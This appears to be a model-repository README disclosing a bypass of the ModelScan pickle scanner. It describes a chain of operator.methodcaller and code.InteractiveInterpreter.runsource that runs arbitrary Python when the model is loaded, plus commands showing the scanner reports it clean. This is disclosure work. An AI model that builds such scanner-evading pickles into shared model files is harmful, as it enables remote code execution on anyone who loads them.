File size: 1,788 Bytes
11f8fad | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | ---
library_name: mlflow
tags:
- security-research
- modelscan-bypass
- code
- InteractiveInterpreter
- methodcaller
- rce
---
# ModelScan code.InteractiveInterpreter Bypass — RCE via code.InteractiveInterpreter.runsource()
## Summary
ModelScan's pickle scanner uses an `unsafe_globals` denylist to detect malicious pickle operations. However, **`code.InteractiveInterpreter`** and **`operator.methodcaller`** are NOT in the denylist.
This MLflow model achieves arbitrary Python code execution through `code.InteractiveInterpreter.runsource()`, while ModelScan reports zero issues.
## Attack Chain
The pickle bytecode uses only two STACK_GLOBAL opcodes:
1. `operator.methodcaller('runsource', '__import__("os").system("cmd")')` → Creates a callable
2. `code.InteractiveInterpreter()` → Creates an interactive interpreter instance
At load time: `methodcaller(interpreter)` → `interpreter.runsource('__import__("os").system("cmd")')` → Arbitrary Python code execution
## Why It Works
- `code` module is entirely absent from unsafe_globals
- `operator.methodcaller` is not blocked (only `operator.attrgetter` is)
- Unlike `os.system` which only runs shell commands, `runsource()` executes arbitrary Python code
## Verification
```bash
# 1. ModelScan says CLEAN
modelscan -p model.pkl
# Output: No issues found! 🎉
# 2. MLflow load triggers RCE
python3 -c "
import mlflow.pyfunc
model = mlflow.pyfunc.load_model('.')
"
# 3. Direct pickle.load() triggers RCE
python3 -c "
import pickle
with open('model.pkl', 'rb') as f:
pickle.load(f)
"
```
## Impact
- **Severity**: Critical (CVSS 9.8)
- **Affected**: All pickle-based formats scanned by ModelScan
- Remote, no auth needed, no user interaction
- Executes arbitrary Python code (not limited to shell commands)
|